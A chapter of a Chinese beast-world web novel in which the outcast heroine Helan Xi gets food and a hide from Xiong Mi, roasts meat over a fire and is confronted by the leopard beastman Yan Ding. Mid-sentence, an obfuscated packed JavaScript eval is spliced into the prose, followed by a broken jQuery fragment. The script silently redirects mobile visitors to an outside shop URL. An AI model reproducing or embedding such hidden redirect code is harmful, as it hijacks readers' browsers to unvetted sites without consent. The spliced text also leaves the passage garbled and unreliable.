洞外传来一声喊叫。
贺兰汐从干草堆里坐起来，拍了拍脸颊，屏住呼吸，静静听了片刻。
喊叫声又响起了一次。
这次更清晰了，是雌性的声音，就在洞外不远处。
贺兰汐隔门帘往外看，是昨天骑狮子的那个雌性。
她犹豫了三秒，钻了出去。
“你怎么这么慢？”那雌性叉着腰，两个雄兽人站在她身后略远的地方。
“我是熊蜜，青石部落的酋长熊磐是我雄父！”她扬起下巴，跟现代炫耀老爸的小女孩没两样。
“你好，我是贺兰汐。”
熊蜜的视线忽然落在洞口上。她看着那扇榫卯门框，又看了看用藤蔓编的帘子，愣住。
“咦？山洞不一样了。”
“嗯，弄个小玩意，挡风。”
熊蜜歪了歪头，鼻子耸了耸。“你真的没气味。”
【气味气味，又来了。我天天洗澡的好么，哪来的气味！】
贺兰汐沉默了一下，决定忽略这句，另起话题。“你雄父是酋长？不是族长吗？”
“你连这都不知道？”熊蜜瞪大了圆眼睛，“青石部落多兽族混居，所以是酋长；同种族独居才是族长呀。”
“你不怕吗？”熊蜜的耳朵垂了垂，“你是废雌，又没兽夫，被赶了出来，以后怎么过啊。”
“我不怕，”她说，“活着，总有办法的。”
“你真是这么想的？”熊蜜好奇地打量她，像在看一种未知的动物，“别的废雌都会哭，你却说‘总有办法’。”
【果然，这个世界对废雌很不友好。但是既然还有别的废雌，那更没什么好怕的了，又不是我独一份。】
熊蜜犹豫了一下，还是说。“你是0级，部落不会给你分配食物，也不会给你保护。你要不快点找几个兽夫吧，不然你一个雌性，根本活不下去。虽然部落的勇士看不上你，但低阶的兽人还是可以找到的。”
【谢谢啊。要不是你一脸的关心，我会觉得你在骂我。】
“那如果离开部落呢？”贺兰汐问。
“离开？”熊蜜瞪大熊眼，“你疯了？外面有凶兽，还有流浪兽人。你一个雌性，活不下去的。”
活不下去吗？贺兰汐没接话。
“对了，”熊蜜话锋一转，“你住弃山，有吃的吗？”
贺兰汐诚实地摇头。“我准备去河边看看有没有吃的。”
熊蜜愣住了。“河边？你不会是吃刺刺兽吧？不能吃！吃了会死兽的！”
【穿越旧常识：鱼=刺刺兽，吃鱼=找死。看来我也不能免俗。】
“我再想想别的办法。”贺兰汐先顺着她说。吃不吃的事，回头再议。
熊蜜犹豫了一下，跑去旁边雄兽人那里拿来一个叶子包。“给，红红果，还有肉。”
贺兰汐打开一看，几颗红野果，一块带血丝的生肉。
“谢谢。可我没东西煮肉。”
“煮肉？”熊蜜奇怪地看着她，“你是要吃熟食？兽人都是吃生肉的。只有酋长和巫医，才有资格吃熟食。”
【天天吃生肉？那不是人过的日子。】
“他们的熟食是怎么做的？”
“用神火啊。”熊蜜指了指部落方向，“部落里有专门的神火塘。可0级废雌不能靠近。神火要是灭了，整个部落一年都引不回火种，所以谁都不敢碰。只有被兽神认可的兽人才能引火。”
【……原来不是特权，是怕灭。得，废雌只配吃生肉。】
熊蜜的目光落在贺兰汐的T恤上。树枝刮出了一条条缝，惨白的那截胳膊露在外面，在这个遍地兽皮的蛮荒里显得格格不入。
“你穿的……太薄了。夜里风大，会冷的。”
熊蜜皱了皱鼻子，回头朝一个雄兽人说了句什么，那人从背上解下一块折好的兽皮递过来。熊蜜接过，塞进贺兰汐怀里。
“给你，晚上披着。”
兽皮厚实柔韧，边缘磨得光滑，看得出是处理过的。
贺兰汐愣了一下。“谢谢。”
“我先走了。”熊蜜凑近压低声音，“我明天偷偷给你带熟食来。但你不能告诉别的兽。”
【这个雌性……还怪好的。】
熊蜜走向一旁等候的雄兽人，被他一把抱起往部落走去。
贺兰汐低头看了一眼怀里的兽皮。至少夜里不会冻死了。
她迅速回到山洞里，放好兽皮，拿了空矿泉水瓶、生肉、背包里的瑞士军刀就往坡下小溪跑去。
在溪边扯了几张大叶子洗干净编成盘子，把生肉放上去切成块，装了水，又扯了把茅草搓成绳。
回到洞口，她砍下粗细均匀的树枝搭成烤架。
背包里还留着打火机。她又取来洞内干草堆里的草绒引燃，引火点燃树枝。不多会儿，烤架底下的火堆就燃起来了。
火苗蹿起来，把洞壁照得忽明忽暗。
贺兰汐看着生肉，犹豫了一下。兽人都生吃……
【要不要试试？万一以后没有条件吃到熟食，总不见得饿死。就当成生鱼片？】
她咬了咬牙，把一小块肉放进嘴里。嚼了两下，胃里一阵翻涌。
不行。肉还是烤熟了吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645443|206787||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
比较稳妥。
她把肉串上树枝架在火上转着烤。火舌舔着肉块，油脂滴进火里，滋啦啦地响，香味跟着青烟一起飘散。
拿起红野果咬了一口。甜！比她吃过的任何水果都甜！
【熊蜜人不错。兽世第一个朋友。既然她说明天还来，先跟她搞好关系。】
她一边嚼着没盐的烤肉，一边盘算。
【明天做木叉子叉鱼，兽世没兽人吃鱼，这勉强算一个稳定食物来源。还要在洞口设陷阱。住处必须守住。】
就在这时候，她听到了脚步声。不是熊蜜那种轻快的步子。
每一步都沉稳厚重，踩得分明，带着十二分的存在感。来人故意加重了力道。
三道高大的兽人身影从坡下走上来。
走在最前面的是一名豹族兽人，眉眼凌厉，面部线条硬朗，周身透着久经风霜的沉郁戾气。
他路过烤架时，兽鼻微微翕动，嗅了嗅空气中飘散的香味。目光冷冷扫过烤架上的肉串，神色瞬间沉了下去。
“闻着倒挺香。”豹族兽人的嗓音粗嘎沙哑，带着毫不掩饰的嘲讽，“一个住弃山的废雌，怎么敢用神火的？”
贺兰汐没抬头。指尖从容地翻动肉串，让火均匀炙烤。
豹族兽人见她毫不搭理自己的模样，眼底的敌意更甚。
他正欲再说，视线却越过她的肩膀，落在她身后的木门上。
目光骤然收紧，瞳孔微微一缩。
他没料到，一个被族群舍弃的废雌，竟能在这荒山野岭造出这般规整牢固的东西。
“这个也是你做的？”
“嗯。”
豹族兽人沉默了几秒，重重地哼了一声，转身走了。
脚步比来时更重，像憋着什么情绪。
贺兰汐目送那道背影消失在坡下，慢慢放下了肉串。
笑容从她脸上淡去。
【豹族兽人。昨天进部落的时候有人喊过他：岩钉。】
火堆噼啪响了一声。
她盯着岩钉消失的方向看了很久，直到脚步声彻底听不见。
【他看门的那个眼神太过惊讶，他原来不知道有门的。他是专门跑到废雌住的地方来看我的。目的是什么？】
脑子转了一圈，没想透。但她记住了那双眼睛。阴沉、警惕、藏着某种她还未解码的敌意。
这种人，你越示弱他越得意。你硬起来，他反而会忌惮。
她伸手拨了拨火堆，把烤肉翻了个面。油脂滴在火上，滋啦一声。
来者不善。
这一夜，怕是睡不踏实了。